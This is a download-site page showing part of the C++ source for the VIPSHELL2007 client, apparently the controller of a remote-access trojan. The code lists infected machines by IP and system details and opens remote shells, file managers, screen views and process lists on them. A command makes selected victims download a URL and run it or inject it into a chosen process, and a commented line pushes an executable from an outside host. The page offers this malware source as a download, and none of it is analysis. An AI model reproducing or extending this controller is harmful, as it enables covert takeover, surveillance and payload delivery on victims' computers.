⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 vipshellclientdlg.cpp

📁 VIPSHELL2007客户端代码
💻 CPP
📖 第 1 页 / 共 2 页
字号:
//	spVipShellServerConnectHandle->DowndFile("http://g.ignfile.cn/t.exe", MAKELONG(0,1));
//	m_listServer.SetItemText(nRet,  LIST_HEAD_Area, m_QQwry.IP2Add(hServer->m_strAddr.c_str()));
//	m_listServer.SetItemText(nRet,  LIST_HEAD_Career, _GetMakeCareerString(hServer->m_dwCareer));
}
*/
CString CVipShellClientDlg::IpToString(ULONG ip)
{
	CString str ;
	in_addr addr;
	addr.S_un.S_addr = ntohl(ip);
	str = inet_ntoa(addr);
	return str;
}

void CVipShellClientDlg::OnVipShellClientFileManageHandle(I_VipShellClientFileManageHandle* p)
{
	DWORD dwId =  m_hVipShellClientFileManageHandle.AddItem(p);
	PostMessage(WM_VIPSHELLCLIENTFILEMANAGEHANDLE, dwId, 0);
	
}

LRESULT CVipShellClientDlg::OnVipShellClientFileManageHandleMessage(WPARAM wParam, LPARAM lParam)
{

	DWORD dwId = wParam;
	CPinboardPtr<I_VipShellClientFileManageHandle> spVipShellClientFileManageHandle = m_hVipShellClientFileManageHandle.GetItem(dwId);


	CFileManageDlg*  pDlg = new CFileManageDlg;
	pDlg->SetVipShellClientFileManageHandle(spVipShellClientFileManageHandle);
		  
	pDlg->Create(IDD_DIALOG_FILEMANAGE, GetDesktopWindow());
	pDlg->ShowWindow(SW_SHOW);

	m_hVipShellClientFileManageHandle.DelItem(dwId);
	return 0;
}

void CVipShellClientDlg::OnVipShellClientShellHandle(I_VipShellClientShellHandle* p)
{


	DWORD dwId =  m_hVipShellClientShellHandleManage.AddItem(p);
	PostMessage(WM_VIPSHELLSHELLHANDLE, dwId, 0);

}

LRESULT CVipShellClientDlg::OnVipShellShellHandleMessage(WPARAM wParam, LPARAM lParam)
{

	DWORD dwId = wParam;
	CPinboardPtr<I_VipShellClientShellHandle> spVipShellClientShellHandle = m_hVipShellClientShellHandleManage.GetItem(dwId);

	CShellDlg*  pDlg = new CShellDlg;
	pDlg->SetVipShellClientShellHandle(spVipShellClientShellHandle);
	pDlg->Create(IDD_DIALOG_SHELL, GetDesktopWindow());
	pDlg->ShowWindow(SW_SHOW);

	m_hVipShellClientShellHandleManage.DelItem(dwId);

/*
	UINT32 nCount = m_hVipShellClientShellHandleManage.GetCount();
	for( UINT32 i = 0 ;i < nCount; i++)
	{
		CPinboardPtr<I_VipShellClientShellHandle> spVipShellClientShellHandle = m_hVipShellClientShellHandleManage.GetItemByIndex(i);

		CShellDlg*  pDlg = new CShellDlg;
		pDlg->SetVipShellClientShellHandle(spVipShellClientShellHandle);
		pDlg->Create(IDD_DIALOG_SHELL, GetDesktopWindow());
		pDlg->ShowWindow(SW_SHOW);
	}
	m_hVipShellClientShellHandleManage.Clear();
	
*/

	return 0;
}


void CVipShellClientDlg::OnVipShellHandle(I_VipShellClientHandle* p)
{

	CPinboardPtr<I_VipShellClientHandle> spVipShellClientHandle = p;
	DWORD dwId = m_hVipShellClientHandleManage.AddItem(spVipShellClientHandle);
	PostMessage(WM_VIPSHELLCLIENTHANDLE, dwId, 0);


/*
	m_listServer.SetItemText(nRet, LIST_HEAD_Explain, strExplain);
	m_listServer.SetItemText(nRet, LIST_HEAD_Sysver, strVer);
	m_listServer.SetItemText(nRet,  LIST_HEAD_Memory, _GetMemoryString(info.dwMemory));
	m_listServer.SetItemText(nRet,  LIST_HEAD_Cpu, _GetCpuString(info.dwCpuSpeed));	
*/
}

LRESULT CVipShellClientDlg::OnVipShellClientHandleMessage(WPARAM wParam, LPARAM lParam)
{
	DWORD dwId = wParam;
	CPinboardPtr<I_VipShellClientHandle> spVipShellClientHandle = m_hVipShellClientHandleManage.GetItem(dwId);

	ULONG ip = 0;
	DWORD dwPort;
	dwPort = spVipShellClientHandle->GetPeer(&ip);
	CString strS; strS.Format(L"%s:%d", IpToString(ip), dwPort);
	int nCount = m_listServer.GetItemCount();
	int nRet = m_listServer.InsertItem(nCount,  strS,  0);

	spVipShellClientHandle->SetCustomContext((LPVOID)nRet);

	m_listServer.SetItemData(nRet, dwId);
	spVipShellClientHandle->SetVipShellHandleEvent(this);
	
	spVipShellClientHandle->GetServerInfo();
	return 0;
}
LRESULT CVipShellClientDlg::OnVipShellClientScreenHandleMessage(WPARAM wParam, LPARAM lParam)
{
	DWORD dwId = wParam;
	CPinboardPtr<I_VipShellClientScreenHandle> spVipShellClientScreenHandle = m_hVipShellClientScreenHandleManageHandle.GetItem(dwId);
	CScreenInfoDlg*  pDlg = new CScreenInfoDlg;
	pDlg->SetVipShellClientScreenHandle(spVipShellClientScreenHandle);
	pDlg->Create(IDD_DIALOG_SCREEN, GetDesktopWindow());
	pDlg->ShowWindow(SW_SHOW);

	m_hVipShellClientScreenHandleManageHandle.DelItem(dwId);

	return 0;

}

void CVipShellClientDlg::OnVipShellClientScreenHandle(I_VipShellClientScreenHandle* p)
{
	CPinboardPtr<I_VipShellClientScreenHandle> spVipShellClientScreenHandle = p;
	DWORD dwId = m_hVipShellClientScreenHandleManageHandle.AddItem(spVipShellClientScreenHandle);
	PostMessage(WM_VIPSHELLCLIENTSCREENHANDLE, dwId, 0);
}
void CVipShellClientDlg::OnMenuitemDownfile() 
{
	// TODO: Add your command handler code here
	SELITEMINDEXS vec;
	_GetSelItems(&vec);
	if( vec.size() == 0 )
		return ;

	CDownFileDlg dlg;
	if( dlg.DoModal() == IDOK )
	{
		for(UINT32 i = 0; i < vec.size(); i ++)
		{
			CPinboardPtr<I_VipShellClientHandle> spVipShellClientHandle =  _ItemToVipShellHandle(vec[i]);
			spVipShellClientHandle->CmdDownFile(dlg.m_strUrl, !!dlg.m_fRun, !!dlg.m_fInject, dlg.m_strProcessName);
		}
	}
}

void CVipShellClientDlg::OnResponse_GetServerInfo(I_VipShellClientHandle* p,LPCWSTR szExplain, LPCWSTR szName, DWORD dwPlatformId, DWORD dwMajorVersion, DWORD dwMinorVersion,DWORD dwCpuSpeed, DWORD dwMemory, bool fIsCanCap)
{
	CMySingleLock lock(&m_Locker);
	CPinboardPtr<I_VipShellClientHandle> spVipShellClientHandle = p;
	int nItem = (int)spVipShellClientHandle->GetCustomContext();

	CString strExplain; strExplain.Format(_T("%s@%s"), szExplain, szName);
	CString strVer = _GetServerEditionString(dwMajorVersion, dwMinorVersion, dwPlatformId);

	m_listServer.SetItemText(nItem, LIST_HEAD_Explain, strExplain);
	m_listServer.SetItemText(nItem, LIST_HEAD_Sysver, strVer);
	m_listServer.SetItemText(nItem,  LIST_HEAD_Memory, _GetMemoryString(dwMemory));
	m_listServer.SetItemText(nItem,  LIST_HEAD_Cpu, _GetCpuString(dwCpuSpeed));	
}
I_VipShellClientHandle* CVipShellClientDlg::_ItemToVipShellHandle(UINT32 nItem)
{
	UINT32 nIndex = m_listServer.GetItemData(nItem);
	return m_hVipShellClientHandleManage.GetItem(nIndex);
}
I_VipShellClientHandle* CVipShellClientDlg::GetVipShellClientHandleById(UINT32 nId)
{
	return m_hVipShellClientHandleManage.GetItem(nId);
}


void CVipShellClientDlg::_GetSelItems(SELITEMINDEXS* pVec)
{
	POSITION posti = m_listServer.GetFirstSelectedItemPosition();
	if(posti == NULL)
		return ;
	while (posti)
	{
		UINT32 nItem = m_listServer.GetNextSelectedItem(posti);
		pVec->push_back(nItem);
	}
}

void CVipShellClientDlg::OnNMRclickListServer(NMHDR *pNMHDR, LRESULT *pResult)
{
	// TODO: 在此添加控件通知处理程序代码
	*pResult = 0;
	CMenu menu;
	if (menu.LoadMenu(IDR_MENU_MANAGE))
	{

		CMenu* pSubMenu = menu.GetSubMenu(0);
		if (pSubMenu) 
		{
			CPoint mouse;
			GetCursorPos(&mouse);
			//	::SetForegroundWindow(m_nid.hWnd);	
			::TrackPopupMenu(pSubMenu->m_hMenu, 0, mouse.x, mouse.y, 0,m_hWnd, NULL);
		}

	}
}



void CVipShellClientDlg::OnBnClickedButtonGetshell()
{
	// TODO: 在此添加控件通知处理程序代码
	SELITEMINDEXS vec;
	_GetSelItems(&vec);
	for(UINT32 i = 0; i < vec.size(); i ++)
	{
		CPinboardPtr<I_VipShellClientHandle> spVipShellClientHandle =  _ItemToVipShellHandle(vec[i]);
		spVipShellClientHandle->GetShell(0);
	}
}
void CVipShellClientDlg::OnButtonGetfilemanag() 
{
	// TODO: Add your control notification handler code here
	SELITEMINDEXS vec;
	_GetSelItems(&vec);
	for(UINT32 i = 0; i < vec.size(); i ++)
	{
		CPinboardPtr<I_VipShellClientHandle> spVipShellClientHandle =  _ItemToVipShellHandle(vec[i]);
		spVipShellClientHandle->GetFileManage();
	}	
}
void CVipShellClientDlg::OnTimer(UINT nIDEvent) 
{
	// TODO: Add your message handler code here and/or call default
	if( nIDEvent == TIMER_CHECKSERVERCOUNT )
	{
		CString strText;
		strText.Format(L"连接数:%d  :%d", m_listServer.GetItemCount(), m_hVipShellClientHandleManage.GetCount());
		SetDlgItemText(IDC_EDIT_STATE, strText);
	}
	CDialog::OnTimer(nIDEvent);
}



void CVipShellClientDlg::OnButtonGetscreen() 
{
	// TODO: Add your control notification handler code here

	SELITEMINDEXS vec;
	_GetSelItems(&vec);
	for(UINT32 i = 0; i < vec.size(); i ++)
	{
		UINT32 nIndex = m_listServer.GetItemData(vec[i]);
		CPinboardPtr<I_VipShellClientHandle> spVipShellClientHandle =  _ItemToVipShellHandle(vec[i]);
		spVipShellClientHandle->GetScreenInfo(nIndex);
	}	


}

void CVipShellClientDlg::OnButtonGetcap() 
{
	// TODO: Add your control notification handler code here
	CCopyFileDlg dlg;
	dlg.DoModal();
	
}

void CVipShellClientDlg::OnButtonProcesslist() 
{
	// TODO: Add your control notification handler code here
	SELITEMINDEXS vec;
	_GetSelItems(&vec);
	if( vec.size() == 0 )
		return ;
	CPinboardPtr<I_VipShellClientHandle> spVipShellClientHandle =  _ItemToVipShellHandle(vec[0]);

	CProcessManageDlg dlg;
	dlg.SetVipShellClientHandle(spVipShellClientHandle);
	dlg.DoModal();
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -